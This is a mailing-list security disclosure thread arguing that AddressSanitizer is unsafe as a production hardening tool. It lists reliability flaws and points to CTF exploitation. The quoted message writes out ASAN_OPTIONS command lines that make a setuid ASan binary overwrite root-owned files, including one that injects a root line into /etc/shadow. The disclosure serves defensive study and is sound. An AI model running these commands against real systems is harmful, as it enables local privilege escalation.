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Date: Thu, 18 Feb 2016 10:37:42 +0000
From: Gynvael Coldwind <gynvael@...dwind.pl>
To: oss-security@...ts.openwall.com
Subject: Re: Address Sanitizer local root
Just a random fun addition to the topic - there were exploitation
challenges on CTFs with ASANafied binaries in the past, and they in fact
were exploitable.
One example:
http://int3pids.blogspot.ch/2015/04/confidence-2015-teaser-quarantine-write.html
On Wed, Feb 17, 2016 at 11:23 PM Szabolcs Nagy <nsz@...t70.net> wrote:
> There is an alarming trend that Address Sanitizer and related
> compiler instrumentations from compiler-rt are used as a hardening
> solution and run in production.
>
> Even though these are debugging and testing tools, there is
> no clear warning against production use in their documentation:
> http://clang.llvm.org/docs/
> And it's obvious how a tool that catches UB can be misunderstood
> as a hardening tool:
>
> This analysis concluded that ASan can be used for protection
> to stop certain attacks:
> http://scarybeastsecurity.blogspot.dk/2014/09/using-asan-as-protection.html
> The Tor project distributes ASan "hardened" binaries:
> https://blog.torproject.org/blog/tor-browser-55a4-hardened-released
> And there are various projects for full Linux distro instrumentation:
>
> http://balintreczey.hu/blog/progress-report-on-hardened1-linux-amd64-a-potential-debian-port-with-pie-asan-ubsan-and-more/
>
> https://blog.hboeck.de/archives/879-Safer-use-of-C-code-running-Gentoo-with-Address-Sanitizer.html
> (the later was presented at FOSDEM 2016:
> https://fosdem.org/2016/schedule/event/csafecode/ )
>
> While these are interesting projects, ASan should not be
> used for hardening in production systems in its current form,
> so at least the language ("hardening", "protection", "safe")
> should be fixed.
>
> My simple local root exploit is that ASan uses a lot
> of environment variables without checking for secure
> execution of setuid binaries:
>
> ASAN_OPTIONS='verbosity=2 log_path=foo' ./suid.exe
>
> will write to foo.$PID using escalated priviledge, so a
> normal user may be able to clobber arbitrary root owned files
> (by creating foo.{1,2,3,..} symlinks to it) which can lead
> to local root on an "ASan hardened" Linux distribution:
>
> ASAN_OPTIONS='suppressions="/foo
> root:passwdhash:12345:0:::::
> bar" log_path=foo' ./suid.exe
>
> can easily clobber /etc/shadow with
>
> AddressSanitizer: failed to read suppressions file '/foo
> root:passwdhash:12345:0:::::
> bar'
>
> if there is any setuid root executable built with ASan.
>
> (This is not a problem for testing where the env var based
> configuration is convenient and I haven't checked if any
> of the current ASan distro efforts have setuid executables
> with instrumentation, but I still find it a security bug
> given the improper advertisment of the sanitizer tools:
> this can lead to problems if the documentation is not fixed.)
>
> Beyond this trivial issue there are plenty reliability
> problems in the sanitizer runtimes that i think deserve
> at least a warning. It can crash conforming applications
> because
>
> - the shadow map overlaps with something
> - ulimit -v
> - overcommit is turned off
> - it allocates memory but aborts on failure
> - it interposes __tls_get_addr with non-as-safe code.
> - it uses initial-exec TLS.
> - it handles "deadly" signals like SIGBUS
> (often used by applications using mmaped files).
> - the c runtime is updated and incompatible
> (with the various interposition hacks)
> - does not handle c11 thread creation
>
> some of the features reduce security:
>
> - heuristic introspective unwind
> - nice diagnositc messages at undefined behaviour
> - interpositions in general (UB according to POSIX)
>
> other limitations:
>
> - static linking is not supported
>
> (This is for ASan only, I briefly looked at thread
> sanitizer, which seemed even worse for reliability
> and safe stack that is in fact advertised for hardening
> but it has plenty reliability problems, needs further
> analysis.)
>
> I believe some of the problems can be fixed by
> implementing the runtimes in the libc instead of
> second guessing libc behaviour with fragile
> heuristics from a compiler runtime. This would solve
> most of the runtime aborts. I can see an easy way to do
> this with musl libc (because a non-host musl is easy to
> distribute and link against), but non-trivial with glibc.
> In either case I don't see a solution to the shadow map
> commit charge unless the kernel is modified. So I cannot
> recommend even a careful reimplementation in libc for
> production use for reliable systems.
>
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